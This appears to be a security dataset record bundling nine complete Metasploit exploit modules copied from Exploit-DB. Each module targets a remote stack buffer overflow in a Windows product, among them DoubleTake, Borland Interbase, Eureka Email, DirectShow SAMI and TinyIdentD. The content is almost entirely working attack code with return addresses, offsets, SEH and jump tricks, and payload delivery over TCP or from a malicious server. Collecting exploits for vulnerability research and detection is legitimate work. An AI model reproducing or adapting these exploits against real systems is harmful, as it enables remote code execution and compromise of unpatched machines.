QLWD/code_shield huggingface dataset:
标题: DoubleTake/HP StorageWorks Storage Mirroring Service - Authentication Overflow (Metasploit) EDB-ID: 16450 CVE: 2008-1661 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: doubletake.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the authentication mechanism of
     NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
     was found by Titon of Bastard Labs.
   },
   'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     ['CVE', '2008-1661' ],
     ['OSVDB', '45924' ],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
    },
   'Platform'       => 'win',

   'Targets'        =>
    [
     ['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
     ['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],
     ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 04 2008'
   ))

  register_options(
   [
    Opt::RPORT(1100)
   ], self.class)
 end

 def exploit

  connect

  print_status("Trying target #{target.name}...")

  header =
   "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
   "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

  xor = Rex::Encoding::Xor::Byte
  filler =  rand_text_english(1) * (target['Offset'])
  seh = generate_seh_payload(target.ret)
  buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
  sploit =  header + filler + buffercoded[0]
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16450
标题: Borland Interbase - 'Create-Request' Remote Buffer Overflow (Metasploit) EDB-ID: 16453 CVE: 2007-3566 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Borland Interbase 2007.
    By sending a specially crafted create-request packet, a remote
    attacker may be able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2007-3566' ],
     [ 'OSVDB', '38602' ],
     [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 850,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 24 2007'))

  register_options([Opt::RPORT(3050)], self.class)
 end

 def exploit
  connect

  # Build the exploit buffer.... It's a biggie!
  sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
  sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
  sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16453
标题: Bopup Communications Server - Remote Buffer Overflow (Metasploit) EDB-ID: 16445 CVE: 2009-2227 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Bopup Communications Server Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
     By sending a specially crafted packet, an attacker may be
     able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2009-2227' ],
     [ 'OSVDB', '55275' ],
     [ 'URL', 'http://www.blabsoft.com/products/server' ],
     [ 'URL', 'http://milw0rm.com/exploits/9002' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 417,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 18 2009'))

  register_options(
   [
    Opt::RPORT(19810)
   ], self.class)
 end

 def exploit
  connect

  sploit =  [0x00000001].pack('V')
  sploit << rand_text_alpha_upper(829 - payload.encoded.length)
  sploit << payload.encoded
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
  sploit << rand_text_alpha_upper(27)
  sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
  sploit << [target.ret].pack('V')

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16445
标题: Eureka Email Client 2.2q - ERR Remote Buffer Overflow (Metasploit) (2) EDB-ID: 16443 CVE: 2009-3837 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: eureka_mail_err.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
   # bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
   # overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
   'Description'    => %q{
    This module exploits a buffer overflow in the Eureka Email 2.2q
    client that is triggered through an excessively long ERR message.

    NOTE: this exploit isn't very reliable. Unfortunately reaching the
    vulnerable code can only be done when manually checking mail (Ctrl-M).
    Checking at startup will not reach the code targeted here.
   },
   'Author'   =>
    [
     'Francis Provencher (Protek Research Labs)',
     'Dr_IDE',
     'dookie',
     'jduck'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2009-3837' ],
     [ 'OSVDB', '59262 ' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 700,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
     [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
    ],
   'Privileged'     => false,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 22 2009'
   ))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  # the offset to eip depends on the local ip address string length...
  already = "Your POP3 server had a problem.\n"
  already << datastore['LHOST']
  already << " said:\n\n    -ERR "
  space = (512+256+4) - already.length

  buffer =  "-ERR "
  buffer << make_nops(space - payload.encoded.length)
  buffer << payload.encoded
  buffer << [target.ret].pack('V')
  buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
  buffer << "\r\n"

  print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
  client.put(buffer)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16443
标题: Microsoft DirectX DirectShow - SAMI Buffer Overflow (MS07-064) (Metasploit) EDB-ID: 16442 CVE: 2007-3901 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: ms07_064_sami.rb 10550 2010-10-05 01:05:49Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the DirectShow Synchronized
    Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
    has only been tested with Windows Media Player (6.4.09.1129) and
    DirectX 8.0.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10550 $',
   'References'     =>
    [
     [ 'CVE', '2007-3901' ],
     [ 'OSVDB', '39126' ],
     [ 'MSB', 'MS07-064' ],
     [ 'BID', '26789' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 11 2007',
   'DefaultTarget'  => 0))
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  client.get_once

  buffer =  make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
  buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)

  header =  "HTTP/1.1 200 OK\r\n"
  header << "Content-Type: application/smil\r\n\r\n"

  body =  "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"
  body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"
  body << "font-weight: normal;\rcolor: #FFFFFF;\r"
  body << "background: #FFFFFF;\rtext-align: center;\r"
  body << "padding-left: 2px;\rpadding-right: 2px;\r"
  body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"
  body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"
  body << "<SYNC Start=\"0\" pippo=\"" + buffer
  body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"

  sploit = header + body

  print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

  client.put(sploit)
  handler(client)

  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16442
标题: POP Peeper 3.4 - DATE Buffer Overflow (Metasploit) EDB-ID: 16441 CVE: 2009-1029 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: poppeeper_date.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'POP Peeper v3.4 DATE Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in POP Peeper v3.4.
    When a specially crafted DATE string is sent to a client,
    an attacker may be able to execute arbitrary code. This
    module is based off of krakowlabs code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2009-1029' ],
     [ 'OSVDB', '53560'],
     [ 'BID', '34093' ],
     [ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_date-bof.txt' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x0a\x20\x0d",
     'StackAdjustment'  => -3500,
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'DisableNops' => 'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 27 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
   ], self.class)
 end

 def on_client_connect(client)
  ok = "+OK\r\n"
  client.put(ok)
 end

 def on_client_data(client)
  return if ((p = regenerate_payload(client)) == nil)

  ok = "+OK\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK 1 100\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK\r\n1 " + rand_text_english(4) + "\r\n.\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK 1 100\r\n.\r\n"
  client.put(ok)

  client.get_once

  ok = "+OK 100 octects\r\n"
  client.put(ok)

  sploit = "Date: " + rand_text_alpha_upper(132) + generate_seh_payload(target.ret) + "\r\n.\r\n"
  client.put(sploit)

  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/16441
标题: TinyIdentD 2.2 - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16444 CVE: 2007-2711 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TinyIdentD 2.2 Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
    If we send a long string to the ident service we can overwrite the return
    address and execute arbitrary code. Credit to Maarten Boone.
   },
   'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2007-2711'],
     ['OSVDB', '36053'],
     ['BID', '23981'],
    ],
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0d\x20\x0a"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 Server SP4 English',   { 'Ret' => 0x7c2d15e7, } ], # call esi
     ['Windows XP SP2 Italian',            { 'Ret' => 0x77f46eda, } ], # call esi

    ],
   'Privileged'     => false,
   'DisclosureDate' => 'May 14 2007'
   ))

  register_options([ Opt::RPORT(113) ], self.class)
 end

 def exploit
  connect

  pattern  = "\xeb\x20"+", 28 : USERID : UNIX :";
  pattern << make_nops(0x1eb - payload.encoded.length)
  pattern << payload.encoded
  pattern << [ target.ret ].pack('V')


  request  = pattern + "\n"

  print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")

  sock.put(request)


  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16444
标题: Borland CaliberRM - StarTeam Multicast Service Buffer Overflow (Metasploit) EDB-ID: 16434 CVE: 2008-0311 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: borland_starteam.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
    a specially crafted GET request to the STMulticastService, an attacker may be
    able to execute arbitrary code.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2008-0311' ],
     [ 'OSVDB', '44039' ],
     [ 'BID', '28602' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c5729db } ],
     [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 02 2008'))

  register_options([Opt::RPORT(3057)], self.class)
 end

 def exploit

  # inline payloads work best!
  sploit =  rand_text_english(511) + "\x00" + rand_text_english(1020)
  sploit << [target.ret].pack('V') + "@" * 156 # <- :(
  sploit << payload.encoded + rand_text_english(rand(100) + 1)

  print_status("Trying target #{target.name}...")

  send_request_raw({'uri' => sploit,}, 5)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16434
标题: Asus Dpcproxy - Remote Buffer Overflow (Metasploit) EDB-ID: 16425 CVE: 2008-1491 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: asus_dpcproxy_overflow.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Asus Dpcproxy Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
     It should be vulnerable until version 2.0.0.24.
     Credit to Luigi Auriemma
   },
   'Author'         => 'Jacopo Cervini',
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2008-1491' ],
     [ 'OSVDB', '43638' ],
     [ 'BID', '28394' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 21 2008'))

  register_options([Opt::RPORT(623)], self.class)

 end

 def exploit
  connect

  sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
  sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
  sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
  sploit << make_nops(50)

  print_status("Trying target #{target.name}...")
  sock.put(sploit)
  select(nil,nil,nil,3) # =(

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16425